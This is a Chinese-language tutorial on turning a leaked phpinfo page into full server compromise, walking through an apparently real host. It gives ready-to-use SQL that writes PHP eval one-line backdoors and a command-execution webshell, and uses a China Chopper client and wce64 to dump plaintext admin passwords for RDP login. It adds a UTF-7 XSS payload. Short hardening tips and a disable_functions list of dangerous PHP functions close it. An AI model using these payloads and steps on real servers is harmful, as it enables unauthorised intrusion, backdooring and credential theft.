PHPInfo()資訊洩漏漏洞利用及提權
Simeon
PHPInfo函式資訊洩露漏洞常發生一些預設的安裝包,比如phpstudy等,預設安裝完成後,沒有及時刪除這些提供環境測試的檔案,比較常見的為phpinfo.php、1.php和test.php,雖然通過phpinfo獲取的php環境以及變數等資訊,但這些資訊的洩露配合一些其它漏洞將有可能導致系統被滲透和提權。
1.1phpinfo函式
PHP中提供了PHPInfo()函式,該函式返回 PHP 的所有資訊,包括了 PHP 的編譯選項及擴充配置、PHP 版本、伺服器資訊及環境變數、PHP 環境變數、作業系統版本資訊、路徑及環境變數配置、HTTP 標頭、及版權宣告等資訊。其函式定義如下:
語法: int phpinfo(void);
返回值: 整數
函式種類: PHP 系統功能
例如新建一個php檔案,在其中輸入以下內容:
1.2phpinfo資訊洩露
該函式主要用於網站建設過程中測試搭建的PHP環境是否正確,很多網站在測試完畢後並沒有及時刪除,因此當訪問這些測試頁面時,會輸出伺服器的關鍵資訊,這些資訊的洩露將導致伺服器被滲透的風險。
1.3一個由phpinfo資訊洩露滲透的例項
1.分析phpinfo函式暴露出來的有用資訊
從網站phpInfo.php程式執行的結果中我們可以獲取以下有用的資訊:
(1)作業系統為Windows2008 Server或者Windows7: Windows NT BNKUMDFI 6.1 build 7601
(2)伺服器使用了Apache 2.4,這意味著如果拿到Webshell後99%可以提權成功,Apache在Windows環境下許可權極高,預設為System許可權。
(3)網站預設路徑:D:/WWW 通過mssql或者mysql直接匯入一句話需要知道網站真實路徑,這個出來就很好辦了。
圖1獲取有用資訊
2.檢視洩露檔案
對根目錄進行訪問,如圖2所示,發現有mail.rar以及三個檔案目錄,其中有一個phpMyAdmin,這個是mysql的php管理,有這個只要獲取資料庫密碼即可匯入匯出資料,包括匯出一句話後門。對其中的壓縮檔案進行下載,並檢視其中的資料庫配置檔案。
圖2檢視洩露的其它檔案
3.獲取資料庫口令
在mail資料夾下,發現數據庫連線檔案為connect.php檔案,開啟後獲取資料庫的使用者和密碼,資料庫使用者為root,密碼為空。
圖3獲取資料庫使用者帳號和密碼
4.連線並檢視資料庫
如圖4所示,在瀏覽器中開啟http://183.***.160.***:5555/phpMyAdmin/,輸入剛才獲取的帳號,直接登入,登入後可以檢視其所有資料庫。
圖4登入並檢視資料庫
5.匯出一句話後門到伺服器
目前匯出一句話後門的方法有以下幾種:
(1)建立表方式
CREATE TABLE `mysql`.`darkmoon` (`darkmoon1` TEXT NOT NULL );
INSERT INTO `mysql`.`darkmoon` (`darkmoon1` ) VALUES ('<?php @eval($_POST[pass]);?>');
SELECT `darkmoon1` FROM `darkmoon` INTO OUTFILE 'd:/www/exehack.php';
DROP TABLE IF EXISTS `darkmoon`;
上面程式碼是在mysql資料庫中建立darkmoon表,然後加入一個名字為darkmoon1的欄位,並在darkmoon1的欄位中插入一句話程式碼,然後從darkmoon1欄位裡面匯出一句話到網站的真實路徑“d:/www/exehack.php”,最後就是刪除darkmoon這個表,執行效果如圖5所示。
圖5執行匯出一句話sql指令碼程式
注意:在使用以上程式碼時必須選擇mysql資料庫,並在phpMyAdmin中選擇SQL,然後執行以上程式碼即可。需要修改的地方是網站的真實路徑和檔名稱“d:/www/exehack.php”
(2)直接匯出一句話後門檔案
select '<?php @eval($_POST[pass]);?>'INTO OUTFILE 'd:/www/p.php'
如果顯示結果類似“您的 SQL 語句已成功執行 ( 查詢花費 0.0006 秒 )”表明後門檔案生成成功。
(3)直接執行命令許可權的shell
select '<?php echo \'<pre>\';system($_GET[\'cmd\']); echo \'</pre>\'; ?>' INTO OUTFILE 'd:/www/cmd.php'
該方法匯出成功後可以直接執行DOS命令,使用方法:www.xxx.com/cmd.php?cmd=(cmd=後面直接執行dos命令),如圖6所示。
圖6匯入可以執行命令的webshell
6.獲取webshell
對匯出的webshell在網站進行訪問測試,如圖7所示,如果沒有顯示錯誤,則表示可以執行,在中國菜刀一句話後門管理中新增該地址直接獲取webshell,如圖8所示。
圖7測試匯出的webshell
圖8獲取webshell
7.伺服器提權
通過中國菜刀隊遠端終端命令,直接在其中執行命令,如圖9所示,可以檢視是否開啟3389埠,系統當前使用者的許可權是系統許可權,檢視當前都有什麼使用者。上傳wce64.exe並執行“wce64 -w”獲取當前登入明文密碼。
圖9執行命令
圖10獲取系統管理員密碼
8.登入3389
在本地開啟mstsc.exe直接輸入使用者名稱和密碼進行登入,如圖11所示成功登入該伺服器。
圖11成功登入該伺服器
9.總結與討論
系統一個小小的失誤,再加上一些偶然的因素,就導致一個系統被滲透,並獲取了伺服器許可權,因此phpinfo.php資訊洩露不可忽略。phpinfo資訊洩露還可以進行跨站攻擊,將以下程式碼儲存為1.html.
<html> <head> <META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </head> <body> <iframe src="http://域名/phpinfo.php? ADw-SCRIPT AD4-alert(document.domain); ADw-/SCRIPT AD4-=1">
phpinfo資訊洩露防範方法:
(1)通過修改伺服器環境內php.ini檔案,將“expose_php = On”修改成“expose_php = Off”然後重啟php即可。
(2)如果確實需要該測試資訊,在測試時使用,測試完畢後將該檔案刪除掉。
(3)若無需要可以將一些php的危險函式禁用,開啟/etc/php.ini檔案,查詢到 disable_functions,新增需禁用的以下函式名:
phpinfo,eval,passthru,exec,system,chroot,scandir,chgrp,chown,shell_exec,proc_open,proc_get_status,ini_alter,ini_alter,ini_restore,dl,pfsockopen,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server,fsocket,fsockopen
歡迎訪問本人在csdn上面創造的個人專欄:
密碼安全攻防技術精講:https://gitbook.cn/gitchat/column/5afbf24f753289354cab7983